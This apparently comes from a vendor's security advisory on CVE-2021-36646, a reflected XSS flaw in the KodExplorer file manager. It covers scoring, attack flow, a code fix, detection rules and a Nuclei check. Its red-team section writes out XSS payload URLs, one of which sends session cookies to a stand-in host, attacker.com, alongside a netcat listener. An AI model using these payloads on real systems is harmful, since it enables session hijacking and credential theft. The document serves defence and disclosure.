CVE-2021-36646

Executive Summary

CVE-2021-36646 is a reflected Cross-Site Scripting (XSS) vulnerability in KodExplorer version 4.45. The flaw resides in the /index.php page, specifically within the explorer/fileView action, where the path parameter is echoed unsanitized into the HTML response. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the victim's browser context. This can lead to session hijacking, credential theft, or further exploitation of the internal network. The vulnerability has a public proof-of-concept (PoC) via a Nuclei template, and no official patch exists from the vendor. The CVSS v3.1 score is 6.1 (Medium), with an EPSS score of 0.01158% (low exploitation likelihood). The CWE classification is CWE-79 (Improper Neutralization of Input During Web Page Generation).

Supply Chain & Package Security

KodExplorer is a self-hosted PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the integrity of the source code downloaded from the vendor's GitHub repository (kalcaddle/KodExplorer). Users should verify checksums and review code for backdoors before deployment.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – Victim must click the crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of authentication and the potential for session hijacking make it a viable attack vector in social engineering campaigns.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the file view functionality of KodExplorer. The vulnerable code is located in app/template/api/view.html. When a user accesses a URL like:

/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>

The application takes the path parameter and directly embeds it into the HTML response without proper sanitization or output encoding. Specifically, the path value is inserted into a JavaScript context within the page, allowing an attacker to break out of an existing <script> tag and inject arbitrary JavaScript.

The attack flow:

1. Attacker crafts a malicious URL with a JavaScript payload in the path parameter.
2. Attacker tricks a victim (e.g., via phishing email) into clicking the URL.
3. Victim's browser sends a request to the KodExplorer server.
4. Server responds with an HTML page containing the unsanitized payload.
5. Victim's browser executes the injected JavaScript in the context of the KodExplorer domain.
6. The script can steal session cookies, redirect to a phishing page, or perform actions on behalf of the victim.

The Nuclei template confirms the vulnerability by checking for the presence of the injected payload in the response body and content type.

Vulnerable vs. Patched Code

Vulnerable Code (KodExplorer 4.45): In app/template/api/view.html, the path parameter is echoed directly:

<script>
var path = "<?php echo $_GET['path']; ?>";
</script>

Patched Code (Hypothetical): Proper output encoding should be applied:

<script>
var path = "<?php echo htmlspecialchars($_GET['path'], ENT_QUOTES, 'UTF-8'); ?>";
</script>

Since no official patch exists, users must implement this fix manually or use a Web Application Firewall (WAF) to block malicious payloads.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• KodExplorer 4.45 running on a target server.
• Victim must be logged into KodExplorer (or the XSS can be used to steal credentials via a fake login form).

Exploit Steps:

1. Craft the malicious URL:

   http://target.com/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>
   

2. For session hijacking, use a payload that sends cookies to an attacker-controlled server:

   http://target.com/index.php?explorer/fileView&path=</script><script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Host a listener on the attacker server to capture cookies:

   nc -lvnp 80
   

4. Send the crafted link to the victim via email or social engineering.

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  docker run -d -p 80:80 --name kodexplorer kalcaddle/kodexplorer:4.45
  

• Access the application and create a test user.
• Use the Nuclei template or manual curl to verify:

  curl "http://localhost/index.php?explorer/fileView&path=</script><script>alert(1)</script>"
  

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing </script><script> in the path parameter.
• Use a WAF to block XSS patterns (e.g., ModSecurity rule: SecRule ARGS "@rx </script>" "id:1000,deny,status:403").
• Deploy the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Apply the manual patch to app/template/api/view.html as described above.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to prevent JavaScript access to session cookies.
• Educate users about phishing attacks and the risks of clicking untrusted links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /index.php with explorer/fileView action and path parameter containing script tags.
  • Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).

• File IOCs:

  • Modified app/template/api/view.html file (if attacker has write access).
  • Suspicious entries in web server access logs (e.g., GET /index.php?explorer/fileView&path=</script><script>...).

• Behavioral IOCs:

  • Unexpected JavaScript execution in the browser.
  • Session cookie theft or account takeover.

Detection Engineering

YARA Rule

rule CVE_2021_36646_XSS_KodExplorer {
    meta:
        description = "Detects XSS payload in KodExplorer path parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-36646"
    strings:
        $xss_payload = /<\/script>\s*<script[^>]*>/i
    condition:
        $xss_payload
}

Sigma Rule

title: KodExplorer Reflected XSS via path Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-36646 by injecting script tags into the path parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'explorer/fileView&path='
        cs-uri-query|contains: '</script><script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in file names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-36646 KodExplorer Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; content:"explorer/fileView&path="; http_uri; content:"</script><script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Full Content)

id: CVE-2021-36646

info:
  name: KodExplorer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/482
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36646
    cwe-id: CWE-79
    epss-score: 0.01158
    epss-percentile: 0.78664
  metadata:
    max-request: 2
    vendor: kalcaddle
    product: kod-explorer
    fofa-query: app="Powered-by-KodExplorer"
  tags: cve,cve2021,xss,kodexplorer,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "KodExplorer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Mitigation:

1. Manual Code Fix: Edit app/template/api/view.html and apply output encoding:

   var path = "<?php echo htmlspecialchars($_GET['path'], ENT_QUOTES, 'UTF-8'); ?>";
   

2. Web Application Firewall (WAF): Deploy rules to block requests containing </script> in the path parameter.
3. Content Security Policy (CSP): Add the following HTTP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. HTTP-Only Cookies: Set session cookies with the HttpOnly flag to prevent JavaScript access.

Long-Term Remediation:

• Monitor the vendor's GitHub repository for an official patch.
• Consider migrating to an actively maintained file manager solution.
• Conduct a security audit of all user-supplied input handling in the application.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valtersit.com.

{/* [Security Hash: 93B5378741C8DDDDA169CC82] */}